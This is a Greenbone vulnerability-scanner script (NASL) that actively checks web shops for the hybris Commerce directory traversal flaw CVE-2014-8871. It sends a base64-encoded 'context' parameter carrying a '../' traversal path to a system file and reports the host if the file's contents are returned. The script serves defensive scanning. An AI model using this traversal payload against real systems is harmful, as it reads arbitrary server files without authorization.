hybris Commerce Directory Traversal Vulnerability (Feb 2015) - Active Check

# SPDX-FileCopyrightText: 2015 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.105955");
  script_version("2023-08-03T05:05:16+0000");
  script_tag(name:"last_modification", value:"2023-08-03 05:05:16 +0000 (Thu, 03 Aug 2023)");
  script_tag(name:"creation_date", value:"2015-02-25 14:49:12 +0700 (Wed, 25 Feb 2015)");
  script_tag(name:"cvss_base", value:"5.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:N/A:N");
  script_tag(name:"severity_vector", value:"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N");
  script_tag(name:"severity_origin", value:"NVD");
  script_tag(name:"severity_date", value:"2019-08-27 16:12:00 +0000 (Tue, 27 Aug 2019)");

  script_tag(name:"qod_type", value:"remote_vul");

  script_tag(name:"solution_type", value:"VendorFix");

  script_cve_id("CVE-2014-8871");

  script_name("hybris Commerce Directory Traversal Vulnerability (Feb 2015) - Active Check");

  script_category(ACT_ATTACK);

  script_copyright("Copyright (C) 2015 Greenbone AG");
  script_family("Web application abuses");
  script_dependencies("find_service.nasl", "httpver.nasl", "os_detection.nasl", "global_settings.nasl");
  script_require_ports("Services/www", 80);
  script_exclude_keys("Settings/disable_cgi_scanning");

  script_tag(name:"summary", value:"hybris Commerce Software Suite is prone to a directory
  traversal vulnerability.");

  script_tag(name:"vuldetect", value:"Sends a crafted HTTP GET request and checks the response.");

  script_tag(name:"insight", value:"Webshops based on hybris may use a file retrieval system where
  files are identified by a URL parameter named 'context' rather than a file name. The context is
  base64 encoded and consists among other parameters the file name. This file name is vulnerable to
  directory traversal.");

  script_tag(name:"impact", value:"An unauthenticated attacker can retrieve arbitrary files which
  might consist sensitive data which can be used for further attacks.");

  script_tag(name:"affected", value:"hybris Commerce Software Suite versions 5.0.0, 5.0.3, 5.0.4,
  5.1, 5.1.1, 5.2 and 5.3.");

  script_tag(name:"solution", value:"Update to version 5.0.0.4, 5.0.3.4, 5.0.4.5, 5.1.0.2,
  5.1.1.3, 5.2.0.4, 5.3.0.2 or later.");

  script_xref(name:"URL", value:"https://www.redteam-pentesting.de/advisories/rt-sa-2014-016");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/72681");

  exit(0);
}

include("host_details.inc");
include("http_func.inc");
include("http_keepalive.inc");
include("misc_func.inc");
include("os_func.inc");
include("port_service_func.inc");

port = http_get_port(default: 80);

files = traversal_files();

foreach pattern (keys(files)) {

  file = files[pattern];

  payload_clear = "master|root|12345|text/plain|../../../../../../" + file + "|";
  payload_encoded = base64(str: payload_clear);

  url = "/medias/?context=" + payload_encoded;

  req = http_get(port:port, item:url);
  res = http_keepalive_send_recv(port:port, data:req);

  if (res && egrep(string:res, pattern:pattern)) {
    report = http_report_vuln_url(port:port, url:url);
    security_message(port:port, data:report);
    exit(0);
  }
}

exit(99);